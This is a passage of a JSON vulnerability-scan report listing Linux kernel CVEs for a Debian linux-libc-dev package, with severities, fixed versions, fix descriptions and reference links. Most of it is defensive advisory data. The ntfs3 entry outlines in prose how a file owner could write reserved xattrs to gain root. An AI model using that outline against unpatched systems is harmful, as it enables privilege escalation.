"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/84a04eb5b210643bd67aab81ff805d32f62aa865%20%287.2-rc1%29", "https://git.kernel.org/stable/c/3a2b378b3a9ca75d3518d879148d2ad25b5714a9", "https://git.kernel.org/stable/c/7a831bcd0486788283ef35e396d4282ee01bb0d5", "https://git.kernel.org/stable/c/84a04eb5b210643bd67aab81ff805d32f62aa865", "https://git.kernel.org/stable/c/86d531337ea1ba02d9f2bc830d07c683d9bfaade", "https://git.kernel.org/stable/c/993fd674fe85d114e6a8d3963033d4fbbc2170a8", "https://git.kernel.org/stable/c/bd968bdd568beacfdf98ec537a87527e85f1d0cf", "https://git.kernel.org/stable/c/e28e7fd34c449028325322a3f5127b92594b7396", "https://git.kernel.org/stable/c/ff976ef7c39199ebff33c18034636595016db9f0", "https://linux.oracle.com/cve/CVE-2026-63831.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://lore.kernel.org/linux-cve-announce/2026071908-CVE-2026-63831-36ca@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63831", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63831" ], "PublishedDate": "2026-07-19T12:16:56.46Z", "LastModifiedDate": "2026-10-22T19:24:19.03Z" }, { "VulnerabilityID": "CVE-2026-63833", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63833", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9baa884fd7261cec4112de3f5cf6abf7d63dd8f3c9ef277ad0e408173b7a3a14", "Title": "kernel: ntfs3: reject direct userspace writes to reserved $LX* xattrs", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nntfs3: reject direct userspace writes to reserved $LX* xattrs\n\nNTFS3 uses $LXUID, $LXGID, $LXMOD and $LXDEV as internal WSL\npermission metadata and reloads them into i_uid, i_gid and i_mode\nfrom ntfs_get_wsl_perm().\n\nBecause the empty-prefix xattr handler also lets file owners call\nsetxattr() on these names directly, an unprivileged writer on a\nwritable ntfs3 mount can plant root ownership and S_ISUID on their own\nfile and gain euid 0 after inode reload.\n\nReject direct userspace writes to the reserved $LX* names. Internal\nntfs3 metadata updates are unchanged because ntfs_save_wsl_perm()\nwrites them via ntfs_set_ea() directly.\n\n[almaz.alexandrovich@paragon-software.com: added an additional check for non privileged users]", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "amazon": 3, "azure": 4, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63833", "https://git.kernel.org/linus/5b08dccecf825cbf905f348bc6ccb497507e28e2%20%287.2-rc1%29", "https://git.kernel.org/stable/c/293a84fa40b3a1b3471c0545722724bc10973f76", "https://git.kernel.org/stable/c/2c3cd6da4a14380ef79e34bd9dff7caf46687477", "https://git.kernel.org/stable/c/5b08dccecf825cbf905f348bc6ccb497507e28e2", "https://git.kernel.org/stable/c/5e658b9245a52d838ef93729a7bc07de8e19deb7", "https://git.kernel.org/stable/c/e574af95234afc3c725988bbc1fdeb46b9f386a4", "https://git.kernel.org/stable/c/e8852ae29868e449fdb47eebc28f35fb80741a5f", "https://git.kernel.org/stable/c/f8d420949b335a4b51d06ab276beee6b8dfdc909", "https://lore.kernel.org/linux-cve-announce/2026071908-CVE-2026-63833-b826@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63833", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63833" ], "PublishedDate": "2026-07-19T12:16:56.713Z", "LastModifiedDate": "2026-10-22T14:11:49.023Z" }, { "VulnerabilityID": "CVE-2026-63869", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63869", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a2a4b611fa0a9c6acb1d30cb44272a890de1848d34b1c3d02862e339332f71ef", "Title": "kernel: wifi: mac80211: limit injected antenna index in ieee80211_parse_tx_radiotap", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: limit injected antenna index in ieee80211_parse_tx_radiotap\n\nWhen parsing the radiotap header of an injected frame,\nieee80211_parse_tx_radiotap() uses the IEEE80211_RADIOTAP_ANTENNA value\ndirectly as a shift count:\n\n\tinfo-\u003econtrol.antennas |= BIT(*iterator.this_arg);\n\n*iterator.this_arg is an 8-bit value taken straight from the frame\nsupplied by userspace, so BIT() can be asked to shift by up to 255. That\nis undefined behaviour on the unsigned long and is reported by UBSAN:\n\n UBSAN: shift-out-of-bounds in net/mac80211/tx.c:2174:30\n shift exponent 235 is too large for 64-bit type 'unsigned long'\n Call Trace:\n ieee80211_parse_tx_radiotap+0xadb/0x1950 net/mac80211/tx.c:2174\n ieee80211_monitor_start_xmit+0xb1f/0x1250 net/mac80211/tx.c:2451\n ...\n packet_sendmsg+0x3eb6/0x50f0 net/packet/af_packet.c:3109\n\ninfo-\u003econtrol.antennas is a 2-bit bitmap (u8 antennas:2), so only antenna\nindices 0 and 1 can ever be represented. Ignore any larger value instead\nof shifting out of bounds.", "Severity": "HIGH", "CweIDs": [ "CWE-1284", "CWE-190" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "V3Score": 7.6 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-63869", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/linus/6c0cf89f36ac0c0fd8687a4ccdce2efb23a9c663%20%287.1-rc7%29", "https://git.kernel.org/stable/c/033ce021a220913ac02416fcb5ac883a9ff8b6c7", "https://git.kernel.org/stable/c/6c0cf89f36ac0c0fd8687a4ccdce2efb23a9c663", "https://git.kernel.org/stable/c/9b40c59bab08f2a99abf969cc0bb92fa49de004b", "https://git.kernel.org/stable/c/f6d3dc8e8492bf8435e0b23c99472af7bafd6b44", "https://linux.oracle.com/cve/CVE-2026-63869.html", "https://linux.oracle.com/errata/ELSA-2026-68570.html", "https://lore.kernel.org/linux-cve-announce/2026071914-CVE-2026-63869-940a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63869", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63869" ], "PublishedDate": "2026-07-19T15:16:53.873Z", "LastModifiedDate": "2026-10-26T16:42:20.487Z" }, { "VulnerabilityID": "CVE-2026-63875", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63875", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e9b5670f822531e36e02cfb07aa507faf8cfb7bcccb8cc76bc51c77a45dbf613", "Title": "kernel: arm64: tlb: Flush walk cache when unsharing PMD tables", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: tlb: Flush walk cache when unsharing PMD tables\n\nWhen huge_pmd_unshare() is called to unshare a PMD table, the\ntlb_unshare_pmd_ptdesc() function sets tlb-\u003eunshared_tables=true\nbut the aarch64 tlb_flush() only checked tlb-\u003efreed_tables to\ndetermine whether to use TLBF_NONE (vae1is, invalidates walk\ncache) or TLBF_NOWALKCACHE (vale1is, leaf-only).\n\nThis caused the stale PMD page table entry to remain in the walk cache\nafter unshare, potentially leading to incorrect page table walks.\n\nFix by including unshared_tables in the check, so that when\nunsharing tables, TLBF_NONE is used and the walk cache is properly\ninvalidated.\n\nHere is the detailed distinction between vae1is and vale1is:\n\n| Instruction Combination | Actual Invalidation Scope |\n| ------------------------ | --------------------------------------------------|\n| `VAE1IS` + TTL=`0` | All entries at all levels (full invalidation) |\n| `VAE1IS` + TTL=`2` (L2) | Non-leaf at Level 0/1 + leaf at Level 2 |\n| `VALE1IS` + TTL=`0` | Leaf entries at all levels (non-leaf not cleared) |\n| `VALE1IS` + TTL=`2` (L2) | Leaf entry at Level 2 only |", "Severity": "HIGH", "CweIDs": [ "CWE-670", "CWE-459" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:72623", "https://access.redhat.com/security/cve/CVE-2026-63875", "https://bugzilla.redhat.com/2482104", "https://bugzilla.redhat.com/2487002", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2495938", "https://bugzilla.redhat.com/2502318", "https://bugzilla.redhat.com/2502494", "https://bugzilla.redhat.com/2508319", "https://bugzilla.redhat.com/2524423", "https://bugzilla.redhat.com/2524434", "https://bugzilla.redhat.com/show_bug.cgi?id=2482104", "https://bugzilla.redhat.com/show_bug.cgi?id=2487002", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2495938", "https://bugzilla.redhat.com/show_bug.cgi?id=2502318", "https://bugzilla.redhat.com/show_bug.cgi?id=2502494", "https://bugzilla.redhat.com/show_bug.cgi?id=2508319", "https://bugzilla.redhat.com/show_bug.cgi?id=2524423", "https://bugzilla.redhat.com/show_bug.cgi?id=2524434", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45942", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46325", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53341", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63875", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64556", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74753", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80522", "https://errata.almalinux.org/9/ALSA-2026-72623.html", "https://errata.rockylinux.org/RLSA-2026:72623", "https://git.kernel.org/linus/c2ff4764e03e7a8d758352f4aceb8fe1be6ac971%20%287.1-rc5%29", "https://git.kernel.org/stable/c/0199c9d57861f17b556b6cba1f765c7cce79745b", "https://git.kernel.org/stable/c/47490bbb05c8c0e09cc3cfd237d8934ffc340583", "https://git.kernel.org/stable/c/48125cd9c55cbe297b59fd1f9bda48b0960bd181", "https://git.kernel.org/stable/c/8ca7284da0e67b3e71d90ec17f08286774245ad9", "https://git.kernel.org/stable/c/c2ff4764e03e7a8d758352f4aceb8fe1be6ac971", "https://git.kernel.org/stable/c/d766a49d9b55705c4737cd8bb5d3faa2d31330fd", "https://git.kernel.org/stable/c/dced308d7d6a0de1c09d2058f38f1aaaf5cbb914", "https://git.kernel.org/stable/c/fe93e907b1af03cc229a80aa64a570a103d2b279", "https://linux.oracle.com/cve/CVE-2026-63875.html", "https://linux.oracle.com/errata/ELSA-2026-72623.html", "https://lore.kernel.org/linux-cve-announce/2026071935-CVE-2026-63875-97f2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63875", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63875" ], "PublishedDate": "2026-07-19T16:17:04.357Z", "LastModifiedDate": "2026-10-30T14:57:03.33Z" }, { "VulnerabilityID": "CVE-2026-63879", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63879", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f6e2d56a710d45731835ced9d4bc3c0c48e355e4f5e26665be2a44406643524d", "Title": "kernel: drm/amdgpu: fix amdgpu_hmm_range_get_pages", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: fix amdgpu_hmm_range_get_pages\n\nThe notifier sequence must only be read once or otherwise we could work\nwith invalid pages.\n\nWhile at it also fix the coding style, e.g. drop the pre-initialized\nreturn value and use the common define for 2G range.\n\n(cherry picked from commit c08972f555945cda57b0adb72272a37910153390)", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-63879", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/962d684b5dc0741dcd93485d41b450de402d5592%20%287.1-rc6%29", "https://git.kernel.org/stable/c/2fd24407457a6b181ba827705678da70e528dcd0", 